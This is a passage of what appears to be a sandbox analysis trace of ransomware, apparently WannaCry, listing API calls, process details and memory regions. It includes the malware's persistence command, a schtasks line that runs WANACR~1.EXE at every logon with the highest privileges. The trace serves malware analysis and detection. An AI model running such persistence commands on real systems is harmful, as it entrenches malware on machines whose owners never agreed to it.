lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0019.915] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0019.919] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0019.919] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0019.919] GetConsoleTitleW (in: lpConsoleTitle=0xc2cea3f670, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0019.919] InitializeProcThreadAttributeList (in: lpAttributeList=0xc2cea3f590, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xc2cea3f490 | out: lpAttributeList=0xc2cea3f590, lpSize=0xc2cea3f490) returned 1 [0019.919] UpdateProcThreadAttribute (in: lpAttributeList=0xc2cea3f590, dwFlags=0x0, Attribute=0x60001, lpValue=0xc2cea3f478, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xc2cea3f590, lpPreviousValue=0x0) returned 1 [0019.919] GetStartupInfoW (in: lpStartupInfo=0xc2cea3f520 | out: lpStartupInfo=0xc2cea3f520*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0019.920] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\schtasks.exe", lpCommandLine="schtasks /create /sc onlogon /tn 3123635631 /rl highest /tr C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5JgHKoaOfdp\\Desktop", lpStartupInfo=0xc2cea3f4b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="schtasks /create /sc onlogon /tn 3123635631 /rl highest /tr C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xc2cea3f498 | out: lpCommandLine="schtasks /create /sc onlogon /tn 3123635631 /rl highest /tr C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE", lpProcessInformation=0xc2cea3f498*(hProcess=0x48, hThread=0x44, dwProcessId=0xbc8, dwThreadId=0xbd8)) returned 1 [0019.934] CloseHandle (hObject=0x44) returned 1 [0019.934] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0019.934] GetEnvironmentStringsW () returned 0xc2ceb66b60* [0019.935] FreeEnvironmentStringsA (penv="=") returned 1 [0019.935] WaitForSingleObject (hHandle=0x48, dwMilliseconds=0xffffffff) returned 0x0 [0021.899] GetExitCodeProcess (in: hProcess=0x48, lpExitCode=0xc2cea3f418 | out: lpExitCode=0xc2cea3f418*=0x0) returned 1 [0021.899] CloseHandle (hObject=0x48) returned 1 [0021.899] _vsnwprintf (in: _Buffer=0xc2cea3f5d8, _BufferCount=0x13, _Format="%08X", _ArgList=0xc2cea3f428 | out: _Buffer="00000000") returned 8 [0021.899] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0021.899] GetEnvironmentStringsW () returned 0xc2ceb66b60* [0021.899] FreeEnvironmentStringsA (penv="=") returned 1 [0021.899] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0021.899] GetEnvironmentStringsW () returned 0xc2ceb66b60* [0021.899] FreeEnvironmentStringsA (penv="=") returned 1 [0021.899] DeleteProcThreadAttributeList (in: lpAttributeList=0xc2cea3f590 | out: lpAttributeList=0xc2cea3f590) [0021.899] _get_osfhandle (_FileHandle=1) returned 0x1c [0021.899] SetConsoleMode (hConsoleHandle=0x1c, dwMode=0x3) returned 1 [0021.900] _get_osfhandle (_FileHandle=1) returned 0x1c [0021.900] GetConsoleMode (in: hConsoleHandle=0x1c, lpMode=0x7ff62316d150 | out: lpMode=0x7ff62316d150) returned 1 [0021.900] _get_osfhandle (_FileHandle=0) returned 0x18 [0021.900] GetConsoleMode (in: hConsoleHandle=0x18, lpMode=0x7ff62316d14c | out: lpMode=0x7ff62316d14c) returned 1 [0021.900] SetConsoleInputExeNameW () returned 0x1 [0021.900] GetConsoleOutputCP () returned 0x1b5 [0021.900] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff62317a120 | out: lpCPInfo=0x7ff62317a120) returned 1 [0021.900] SetThreadUILanguage (LangId=0x0) returned 0x409 [0021.900] exit (_Code=0) Process: id = "3" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x6e7a000" os_pid = "0xb84" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xb74" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff" cur_dir = "C:\\Windows" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c455" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 230 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 231 start_va = 0xf602310000 end_va = 0xf60232ffff entry_point = 0x0 region_type = private name = "private_0x000000f602310000" filename = "" Region: id = 232 start_va = 0xf602330000 end_va = 0xf60233efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f602330000" filename = "" Region: id = 233 start_va = 0xf602340000 end_va = 0xf60237ffff entry_point = 0x0 region_type = private name = "private_0x000000f602340000" filename = "" Region: id = 234 start_va = 0x7ff7a8ec0000 end_va = 0x7ff7a8ee2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7a8ec0000" filename = "" Region: id = 235 start_va = 0x7ff7a8eed000 end_va = 0x7ff7a8eeefff entry_point = 0x0 region_type = private name = "private_0x00007ff7a8eed000" filename = "" Region: id = 236 start_va = 0x7ff7a8eef000 end_va = 0x7ff7a8eeffff entry_point = 0x0 region_type = private name = "private_0x00007ff7a8eef000" filename = "" Region: id = 237 start_va = 0x7ff7a9d00000 end_va = 0x7ff7a9d5afff entry_point = 0x7ff7a9d00000 region_type = mapped_file name = "conhost.exe" filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe") Region: id = 238 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 239 start_va = 0xf602560000 end_va = 0xf60265ffff entry_point = 0x0 region_type = private name = "private_0x000000f602560000" filename = "" Region: id = 240 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a0722a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 241 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a645034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 242 start_va = 0xf602310000 end_va = 0xf60231ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f602310000" filename = "" Region: id = 243 start_va = 0xf602320000 end_va = 0xf602326fff entry_point = 0x0 region_type = private name = "private_0x000000f602320000" filename = "" Region: id = 244 start_va = 0xf602380000 end_va = 0xf6023fdfff entry_point = 0xf602380000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 245 start_va = 0xf602400000 end_va = 0xf602406fff entry_point = 0x0 region_type = private name = "private_0x000000f602400000" filename = "" Region: id = 246 start_va = 0xf602410000 end_va = 0xf60241ffff entry_point = 0x0 region_type = private name = "private_0x000000f602410000" filename = "" Region: id = 247 start_va = 0xf602420000 end_va = 0xf602422fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f602420000" filename = "" Region: id = 248 start_va = 0xf602430000 end_va = 0xf602430fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f602430000" filename = "" Region: id = 249 start_va = 0xf602440000 end_va = 0xf602440fff entry_point = 0x0 region_type = private name = "private_0x000000f602440000" filename = "" Region: id = 250 start_va = 0xf602450000 end_va = 0xf602450fff entry_point = 0x0 region_type = private name = "private_0x000000f602450000" filename = "" Region: id = 251 start_va = 0xf602660000 end_va = 0xf6027e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f602660000" filename = "" Region: id = 252 start_va = 0xf6027f0000 end_va = 0xf602970fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f6027f0000" filename = "" Region: id = 253 start_va = 0xf602980000 end_va = 0xf603d7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f602980000" filename = "" Region: id = 254 start_va = 0xf603d80000 end_va = 0xf604179fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f603d80000" filename = "" Region: id = 255 start_va = 0x7ff7a8dc0000 end_va = 0x7ff7a8ebffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7a8dc0000" filename = "" Region: id = 256 start_va = 0x7ffe2a3b0000 end_va = 0x7ffe2a520fff entry_point = 0x7ffe2a3d5ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 257 start_va = 0x7ffe2a780000 end_va = 0x7ffe2a836fff entry_point = 0x7ffe2a781120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 258 start_va = 0x7ffe2a8b0000 end_va = 0x7ffe2a956fff entry_point = 0x7ffe2a8b282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 259 start_va = 0x7ffe2a960000 end_va = 0x7ffe2aaa4fff entry_point = 0x7ffe2a971c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 260 start_va = 0x7ffe2bf40000 end_va = 0x7ffe2c116fff entry_point = 0x7ffe2bf41f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 261 start_va = 0x7ffe2c1d0000 end_va = 0x7ffe2c203fff entry_point = 0x7ffe2c1d1030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 262 start_va = 0x7ffe2c390000 end_va = 0x7ffe2c4c7fff entry_point = 0x7ffe2c391010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 263 start_va = 0x7ffe2c7b0000 end_va = 0x7ffe2c8e5fff entry_point = 0x7ffe2c7b1150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 272 start_va = 0xf602340000 end_va = 0xf602343fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f602340000" filename = "" Region: id = 273 start_va = 0xf602350000 end_va = 0xf602356fff entry_point = 0x0 region_type = private name = "private_0x000000f602350000" filename = "" Region: id = 274 start_va = 0xf602360000 end_va = 0xf602363fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f602360000" filename = "" Region: id = 275 start_va = 0xf602370000 end_va = 0xf602374fff entry_point = 0xf602370000 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 276 start_va = 0xf602460000 end_va = 0xf60249ffff entry_point = 0x0 region_type = private name = "private_0x000000f602460000" filename = "" Region: id = 277 start_va = 0xf6024a0000 end_va = 0xf6024dffff entry_point = 0x0 region_type = private name = "private_0x000000f6024a0000" filename = "" Region: id = 278 start_va = 0xf6024e0000 end_va = 0xf6024e2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f6024e0000" filename = "" Region: id = 279 start_va = 0xf602500000 end_va = 0xf602501fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f602500000" filename = "" Region: id = 280 start_va = 0xf604180000 end_va = 0xf60426ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f604180000" filename = "" Region: id = 281 start_va = 0xf604320000 end_va = 0xf60432ffff entry_point = 0x0 region_type = private name = "private_0x000000f604320000" filename = "" Region: id = 282 start_va = 0xf604330000 end_va = 0xf604604fff entry_point = 0xf604330000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 283 start_va = 0x7ff7a8eeb000 end_va = 0x7ff7a8eecfff entry_point = 0x0 region_type = private name = "private_0x00007ff7a8eeb000" filename = "" Region: id = 284 start_va = 0x7ffe280b0000 end_va = 0x7ffe28309fff entry_point = 0x7ffe280b4740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 285 start_va = 0x7ffe28580000 end_va = 0x7ffe285a0fff entry_point = 0x7ffe28581100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 286 start_va = 0x7ffe28ba0000 end_va = 0x7ffe28cc1fff entry_point = 0x7ffe28bab444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 287 start_va = 0xf6024f0000 end_va = 0xf6024f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f6024f0000" filename = "" Region: id = 288 start_va = 0x7ffe28760000 end_va = 0x7ffe28800fff entry_point = 0x7ffe287610a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Thread: id = 3 os_tid = 0xb98 Thread: id = 4 os_tid = 0xba8 Thread: id = 5 os_tid = 0xbb8 Process: id = "4" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x8b0f000" os_pid = "0xbc8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xb74" cmd_line = "schtasks /create /sc onlogon /tn 3123635631 /rl highest /tr C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" cur_dir = "C:\\Users\\5JgHKoaOfdp\\Desktop\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c455" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 295 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 296 start_va = 0x56c4060000 end_va = 0x56c407ffff entry_point = 0x0 region_type = private name = "private_0x00000056c4060000" filename = "" Region: id = 297 start_va = 0x56c4080000 end_va = 0x56c408efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000056c4080000" filename = "" Region: id = 298 start_va = 0x56c4090000 end_va = 0x56c410ffff entry_point = 0x0 region_type = private name = "private_0x00000056c4090000" filename = "" Region: id = 299 start_va = 0x56c4110000 end_va = 0x56c4113fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000056c4110000" filename = "" Region: id = 300 start_va = 0x56c4120000 end_va = 0x56c4120fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000056c4120000" filename = "" Region: id = 301 start_va = 0x56c4130000 end_va = 0x56c4131fff entry_point = 0x0 region_type = private name = "private_0x00000056c4130000" filename = "" Region: id = 302 start_va = 0x7ff668960000 end_va = 0x7ff668982fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff668960000" filename = "" Region: id = 303 start_va = 0x7ff66898d000 end_va = 0x7ff66898efff entry_point = 0x0 region_type = private name = "private_0x00007ff66898d000" filename = "" Region: id = 304 start_va = 0x7ff66898f000 end_va = 0x7ff66898ffff entry_point = 0x0 region_type = private name = "private_0x00007ff66898f000" filename = "" Region: id = 305 start_va = 0x7ff6693d0000 end_va = 0x7ff669408fff entry_point = 0x7ff6693d0000 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 306 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 307 start_va = 0x56c4230000 end_va = 0x56c432ffff entry_point = 0x0 region_type = private name = "private_0x00000056c4230000" filename = "" Region: id = 308 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a0722a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 309 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a645034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 310 start_va = 0x56c4060000 end_va = 0x56c406ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000056c4060000" filename = "" Region: id = 311 start_va = 0x56c4070000 end_va = 0x56c4076fff entry_point = 0x0 region_type = private name = "private_0x00000056c4070000" filename = "" Region: id = 312 start_va = 0x56c4140000 end_va = 0x56c41bdfff entry_point = 0x56c4140000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 313 start_va = 0x56c41c0000 end_va = 0x56c41c6fff entry_point = 0x0 region_type = private name = "private_0x00000056c41c0000" filename = "" Region: id = 314 start_va = 0x56c41d0000 end_va = 0x56c41d2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000056c41d0000" filename = "" Region: id = 315 start_va = 0x56c41e0000 end_va = 0x56c41e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000056c41e0000" filename = "" Region: id = 316 start_va = 0x56c41f0000 end_va = 0x56c41f0fff entry_point = 0x0 region_type = private name = "private_0x00000056c41f0000" filename = "" Region: id = 317 start_va = 0x56c4200000 end_va = 0x56c4200fff entry_point = 0x0 region_type = private name = "private_0x00000056c4200000" filename = "" Region: id = 318 start_va = 0x56c4460000 end_va = 0x56c446ffff entry_point = 0x0 region_type = private name = "private_0x00000056c4460000" filename = "" Region: id = 319 start_va = 0x56c4470000 end_va = 0x56c45f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000056c4470000" filename = "" Region: id = 320 start_va = 0x56c4600000 end_va = 0x56c4780fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000056c4600000" filename = "" Region: id = 321 start_va = 0x56c4790000 end_va = 0x56c5b8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000056c4790000" filename = "" Region: id = 322 start_va = 0x56c5b90000 end_va = 0x56c5f89fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000056c5b90000" filename = "" Region: id = 323 start_va = 0x7ff668860000 end_va = 0x7ff66895ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff668860000" filename = "" Region: id = 324 start_va = 0x7ffe250c0000 end_va = 0x7ffe250cafff entry_point = 0x7ffe250c0000 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 325 start_va = 0x7ffe2a3b0000 end_va = 0x7ffe2a520fff entry_point = 0x7ffe2a3d5ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 326 start_va = 0x7ffe2a530000 end_va = 0x7ffe2a586fff entry_point = 0x7ffe2a532500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 327 start_va = 0x7ffe2a780000 end_va = 0x7ffe2a836fff entry_point = 0x7ffe2a781120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 328 start_va = 0x7ffe2a8b0000 end_va = 0x7ffe2a956fff entry_point = 0x7ffe2a8b282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 329 start_va = 0x7ffe2a960000 end_va = 0x7ffe2aaa4fff entry_point = 0x7ffe2a971c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 330 start_va = 0x7ffe2bf40000 end_va = 0x7ffe2c116fff entry_point = 0x7ffe2bf41f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 331 start_va = 0x7ffe2c1d0000 end_va = 0x7ffe2c203fff entry_point = 0x7ffe2c1d1030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 332 start_va = 0x7ffe2c210000 end_va = 0x7ffe2c385fff entry_point = 0x7ffe2c2110b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 333 start_va = 0x7ffe2c390000 end_va = 0x7ffe2c4c7fff entry_point = 0x7ffe2c391010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 334 start_va = 0x7ffe2c7b0000 end_va = 0x7ffe2c8e5fff entry_point = 0x7ffe2c7b1150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 335 start_va = 0x7ffe2cac0000 end_va = 0x7ffe2cb10fff entry_point = 0x7ffe2cac12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 336 start_va = 0x7ffe21e80000 end_va = 0x7ffe21e89fff entry_point = 0x7ffe21e810c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 337 start_va = 0x56c5f90000 end_va = 0x56c6264fff entry_point = 0x56c5f90000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 338 start_va = 0x56c4330000 end_va = 0x56c43e9fff entry_point = 0x56c435c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 339 start_va = 0x7ffe28d70000 end_va = 0x7ffe28d79fff entry_point = 0x7ffe28d71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 340 start_va = 0x7ffe29e80000 end_va = 0x7ffe29e89fff entry_point = 0x7ffe29e81010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 341 start_va = 0x7ffe29cb0000 end_va = 0x7ffe29d0dfff entry_point = 0x7ffe29ccf6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 342 start_va = 0x7ffe28ba0000 end_va = 0x7ffe28cc1fff entry_point = 0x7ffe28bab444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 343 start_va = 0x56c4330000 end_va = 0x56c43cffff entry_point = 0x0 region_type = private name = "private_0x00000056c4330000" filename = "" Region: id = 347 start_va = 0x56c4210000 end_va = 0x56c4210fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000056c4210000" filename = "" Region: id = 348 start_va = 0x56c6270000 end_va = 0x56c635ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000056c6270000" filename = "" Region: id = 349 start_va = 0x56c4210000 end_va = 0x56c4213fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000056c4210000" filename = "" Region: id = 350 start_va = 0x56c4220000 end_va = 0x56c4226fff entry_point = 0x0 region_type = private name = "private_0x00000056c4220000" filename = "" Region: id = 351 start_va = 0x56c4330000 end_va = 0x56c4330fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000056c4330000" filename = "" Region: id = 352 start_va = 0x56c43c0000 end_va = 0x56c43cffff entry_point = 0x0 region_type = private name = "private_0x00000056c43c0000" filename = "" Region: id = 353 start_va = 0x7ffe2c120000 end_va = 0x7ffe2c1c3fff entry_point = 0x7ffe2c120000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 354 start_va = 0x56c4340000 end_va = 0x56c4340fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000056c4340000" filename = "" Region: id = 355 start_va = 0x7ffe262f0000 end_va = 0x7ffe2648cfff entry_point = 0x7ffe262f0000 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 356 start_va = 0x7ffe29c80000 end_va = 0x7ffe29caafff entry_point = 0x7ffe29c80000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 357 start_va = 0x7ffe2a590000 end_va = 0x7ffe2a634fff entry_point = 0x7ffe2a591010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 358 start_va = 0x7ffe26e60000 end_va = 0x7ffe26e97fff entry_point = 0x7ffe26e60000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 6 os_tid = 0xbd8 [0019.991] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6693d0000 [0019.991] __set_app_type (_Type=0x1) [0019.992] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6693f3d40) returned 0x0 [0019.992] __wgetmainargs (in: _Argc=0x7ff669403118, _Argv=0x7ff669403120, _Env=0x7ff669403128, _DoWildCard=0, _StartInfo=0x7ff669403134 | out: _Argc=0x7ff669403118, _Argv=0x7ff669403120, _Env=0x7ff669403128) returned 0 [0019.992] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0019.992] 